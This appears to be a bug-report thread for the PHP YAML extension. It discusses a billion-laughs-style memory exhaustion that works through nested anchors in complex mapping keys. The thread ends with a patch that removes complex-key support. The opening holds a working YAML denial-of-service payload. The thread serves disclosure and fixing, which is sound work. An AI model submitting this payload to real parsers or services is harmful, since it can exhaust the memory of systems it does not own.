YAML document triggering this memory exhaustion condition:

  ---
  - &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
  - ? &b [{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:}] : "foo"
  - ? &c [{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:}] : "foo"
  - ? &d [{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:}] : "foo"
  - ? &e [{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:}] : "foo"
  - ? &f [{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:}] : "foo"
  - ? &g [{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:}] : "foo"
  - ? &h [{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:}] : "foo"
  - ? &i [{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:}] : "foo"
  - ? &j [{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:}] : "foo"
  - ? &k [{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:}] : "foo"
  ...

See also: https://en.wikipedia.org/wiki/Billion_laughs_attack

Because this extension uses PHP references internally, it seems to deal with the "normal" billion laughs attack reasonably well. This particular attack takes advantage of a YAML 1.1 spec feature of questionable utility where YAML's "mapping" type (<https://yaml.org/type/map.html>) allows keys to be any valid YAML type, not limited to scalars. In order to handle this feature in PHP space, we use php_var_serialize() to create a string representation of non-scalar keys and then use that string as the key in a native PHP array. 

At some level this is a problem of parsing perverse YAML input. The memory allocation failure is actually a correct response. PHP is doing what is supposed to do by capping the amount of memory consumed based on configuration. A true DoS would be if PHP happily allowed 100% of system RAM to be exhausted rather than respecting the allowed RAM quota for a single PHP process.

One mitigation for this particular attack would be introducing a feature flag to disable non-scalar mapping keys. Disabling non-scalar keys by default would be a breaking change. That would mean either a major version bump or introducing the flag with a default value that did not prevent this exploit and then toggling to a "safe by default" in a future version.

PyYAML seems to deal with this by raising an error while attempting to construct the native form of the mapping ("yaml.constructor.ConstructorError: while constructing a mapping [...] found unhashable key").

Would it be feasible to make YAML use PHP memory management for everything? PHP OOM is a normal condition, mmap() errors and process crashing is not.

Native PHP 7.3 equivalent behavior for trying to use a non scalar as a key seems to be to emit a warning for "Illegal offset type" and continue processing. A PHP translation of the reported input emits 100 warnings and ultimately produces an array equivalent to `[["lol","lol","lol","lol","lol","lol","lol","lol","lol"]]`.

> Would it be feasible to make YAML use PHP memory management for everything? PHP OOM is a normal condition, mmap() errors and process crashing is not.

Possibly? The convert_to_char() method which is defined in parse.c is using smart_str, php_var_serialize, estrndup, and smart_str_free which seems like it should all be PHP memory management, but I will freely admit that I have never really understood the internal memory management processes.

> PHP OOM is a normal condition, mmap() errors and process
> crashing is not.

I don't think that there is any crash (segfault or such).  The
error message "mmap() failed: [12] Cannot allocate memory" comes
from zend_alloc.c[1], because the huge amount of memory couldn't
be allocated by the system, and consequently PHP errors with OOM.

It seems to me that everything behaves as expected, and this is
not a bug.

[1] <https://github.com/php/php-src/blob/php-7.2.30/Zend/zend_alloc.c#L431>

I have merged a patch for this that will be part of the eventual v2.2.0 release. It is a breaking change in some sense, but upon reviewing the way that complex keys were being handled and looking at several other YAML implementations for languages where complex keys are not natively supported I decided that it was actually better to rip this "feature" out. The new behavior is to emit a warning when a complex key is encountered when parsing a YAML document, so its more of a soft break than a hard one.